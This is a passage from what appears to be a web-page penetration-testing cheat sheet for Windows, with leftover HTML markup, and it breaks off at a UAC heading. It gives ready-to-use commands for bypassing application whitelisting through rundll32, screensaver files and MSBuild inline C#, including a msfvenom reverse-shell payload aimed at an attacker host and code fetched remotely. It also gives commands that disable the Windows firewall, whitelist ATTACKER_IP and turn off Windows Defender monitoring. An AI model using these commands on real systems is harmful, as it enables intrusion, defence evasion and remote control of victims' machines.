If you can\u00adnot exe\u00adcute an exe file, try these options:<\/p>\n\n\n\n
msfvenom -p windows\/exec -f dll CMD=calc.exe -o calc.dll<\/code><\/li>\n\n\n\nC:\\rundll32.exe calc.dll,doesntmatterhere<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n- Rename a .exe into a screen saver .src file and exe\u00adcute it via rundll:
copy payload.exe p.scr
C:\\Windows\\system32\\rundll32.exe desk.cpl,InstallScreenSaver p.scr<\/code><\/li>\n\n\n\n- Use nest\u00aded exe\u00adcu\u00adtions through trust\u00aded appli\u00adca\u00adtions:
C:\\payload.exe
C:\\Windows\\system32\\cmd.exe \/c C:\\payload.exe
C:\\Windows\\system32\\cmd.exe \/c cscript.exe \\windows\\system32\\SyncAppvPublishingServer.vbs \".;Start-Process rundll32.exe 'shell32.dll,ShellExec_RunDLL payload.exe'[ -Verb RunAs]\" \/\/ With the last argument, a UAC dialog pops up, but with blue color because the program to execute was signed by Microsoft.<\/code><\/li>\n\n\n\n- Try to exe\u00adcute (one-lin\u00ader) scripts which runs interepret\u00aded code or can cre\u00adate new processes.<\/li>\n\n\n\n
- Use MSBuild.exe.\n
\n- Use this CSharp template.<\/a><\/li>\n\n\n\n
- Add C# code in the code section.
\n- Or:
msfvenom -p windows\/shell_reverse_tcp LHOST=$attacker LPORT=80 -f csharp<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n- Exe\u00adcute it on the tar\u00adget with msbuild.exe file.xml.<\/li>\n\n\n\n
- Tip: Code could be down\u00adloaded remote\u00adly:
<Code Type=\"Class\" Language=\"cs\" Source=\"\\10.10.10.10\\bla.cs><\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\nC:\\windows\\system32\\cmd.exe <\/code>is blocked? Try C:\\windows\\SysWOW64\\cmd.exe<\/code> !<\/li>\n\n\n\n- Powershell.exe is blocked?
\nC:\\Windows\\SysWOW64\\WindowsPowerShell\\...\\powershell.exe<\/code><\/li>\n\n\n\nC:\\Windows\\sysnative\\WindowsPowerShell\\...\\powershell.exe<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\nWindows firewall \/ netsh<\/h2>\n\n\n\n
Check fire\u00adwall state<\/p>\n\n\n\n
netsh advfirewall show currentprofile\nnetsh advfirewall show state<\/pre>\n\n\n\nIf the fire\u00adwall is active, list the configuration:<\/p>\n\n\n\n
netsh advfirewall show config<\/pre>\n\n\n\nExam\u00adple how to add excep\u00adtions into the fire\u00adwall via the com\u00admand line from an administrator:<\/p>\n\n\n\n
C:\\Windows\\temp> netsh advfirewall firewall add rule name=\"httptunnel_client\" dir=in action=allow program=\"httptunnel_client.exe\" enable=yes<\/pre>\n\n\n\nor<\/p>\n\n\n\n
Netsh Advfirewall show allprofiles\nNetSh Advfirewall set allprofiles state off<\/pre>\n\n\n\nor whitelist the own ip<\/p>\n\n\n\n
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP<\/pre>\n\n\n\nOpen a port:<\/p>\n\n\n\n
netsh advfirewall firewall add rule name=\"port_forward_ssh_2222\" protocol=TCP dir=in localip=$localWindowsIp localport=2222 action=allow<\/pre>\n\n\n\nWindows Defender<\/h2>\n\n\n\n
Detect if the Defend\u00ader is active:<\/p>\n\n\n\n
sc query windefend<\/code><\/p>\n\n\n\nDeac\u00adti\u00advate Win\u00addows Defender:<\/p>\n\n\n\n
sc config WinDefend start= disabled\nsc stop WinDefend<\/pre>\n\n\n\nSame thing in PowerShell:<\/p>\n\n\n\n
Get-MpComputerStatus\nSet-MpPreference -DisableRealtimeMonitoring $true\nSet-MpPreference -DisableIOAVProtection $true\nGet-MpComputerStatus<\/pre>\n\n\n\nUAC<\/span> User Account Control<\/h2>\n\n\n\n